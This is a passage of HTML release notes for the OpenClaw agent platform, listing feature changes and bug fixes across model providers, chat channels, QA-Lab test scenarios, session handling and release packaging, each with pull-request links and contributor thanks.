<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501761454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85302/hovercard" href="https://github.com/openclaw/openclaw/pull/85302">#85302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500085034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85237/hovercard" href="https://github.com/openclaw/openclaw/pull/85237">#85237</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331787394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72343/hovercard" href="https://github.com/openclaw/openclaw/pull/72343">#72343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84189/hovercard" href="https://github.com/openclaw/openclaw/pull/84189">#84189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499295136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85182/hovercard" href="https://github.com/openclaw/openclaw/pull/85182">#85182</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489637163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84693" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84693/hovercard" href="https://github.com/openclaw/openclaw/pull/84693">#84693</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481133270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84324/hovercard" href="https://github.com/openclaw/openclaw/pull/84324">#84324</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415102376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80176/hovercard" href="https://github.com/openclaw/openclaw/issues/80176">#80176</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416567023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80395/hovercard" href="https://github.com/openclaw/openclaw/issues/80395">#80395</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473904192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83872" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83872/hovercard" href="https://github.com/openclaw/openclaw/pull/83872">#83872</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415100585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80174/hovercard" href="https://github.com/openclaw/openclaw/issues/80174">#80174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491926618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84816/hovercard" href="https://github.com/openclaw/openclaw/pull/84816">#84816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484275654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84493/hovercard" href="https://github.com/openclaw/openclaw/pull/84493">#84493</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491292661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84773/hovercard" href="https://github.com/openclaw/openclaw/pull/84773">#84773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500457730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85256/hovercard" href="https://github.com/openclaw/openclaw/pull/85256">#85256</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63819/hovercard" href="https://github.com/openclaw/openclaw/issues/63819">#63819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464834671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83255/hovercard" href="https://github.com/openclaw/openclaw/pull/83255">#83255</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lightcap/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lightcap">@lightcap</a>.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509644563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85835/hovercard" href="https://github.com/openclaw/openclaw/pull/85835">#85835</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507093570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85652/hovercard" href="https://github.com/openclaw/openclaw/pull/85652">#85652</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455291382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82215" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82215/hovercard" href="https://github.com/openclaw/openclaw/issues/82215">#82215</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505095597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85488/hovercard" href="https://github.com/openclaw/openclaw/pull/85488">#85488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496420539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85032" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85032/hovercard" href="https://github.com/openclaw/openclaw/pull/85032">#85032</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506164844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85549/hovercard" href="https://github.com/openclaw/openclaw/pull/85549">#85549</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roslinmahmud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roslinmahmud">@roslinmahmud</a>.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506775969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85619/hovercard" href="https://github.com/openclaw/openclaw/pull/85619">#85619</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ItsOtherMauridian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ItsOtherMauridian">@ItsOtherMauridian</a>.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506665584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85603/hovercard" href="https://github.com/openclaw/openclaw/pull/85603">#85603</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507633147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85682/hovercard" href="https://github.com/openclaw/openclaw/pull/85682">#85682</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willamhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willamhou">@willamhou</a>.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499834705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85219/hovercard" href="https://github.com/openclaw/openclaw/pull/85219">#85219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492043109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84830/hovercard" href="https://github.com/openclaw/openclaw/pull/84830">#84830</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116048289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52264/hovercard" href="https://github.com/openclaw/openclaw/pull/52264">#52264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PerfectPan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PerfectPan">@PerfectPan</a>.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506833876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85631/hovercard" href="https://github.com/openclaw/openclaw/pull/85631">#85631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/potterdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/potterdigital">@potterdigital</a>.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506862743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85638/hovercard" href="https://github.com/openclaw/openclaw/pull/85638">#85638</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506794947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85625" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85625/hovercard" href="https://github.com/openclaw/openclaw/pull/85625">#85625</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507745080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85694/hovercard" href="https://github.com/openclaw/openclaw/pull/85694">#85694</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m1qaweb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m1qaweb">@m1qaweb</a>.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505840430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85523/hovercard" href="https://github.com/openclaw/openclaw/issues/85523">#85523</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506755578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85615/hovercard" href="https://github.com/openclaw/openclaw/pull/85615">#85615</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493313282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84901/hovercard" href="https://github.com/openclaw/openclaw/pull/84901">#84901</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504716306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85476/hovercard" href="https://github.com/openclaw/openclaw/pull/85476">#85476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074276828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45613/hovercard" href="https://github.com/openclaw/openclaw/pull/45613">#45613</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/etticat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/etticat">@etticat</a>.</li>
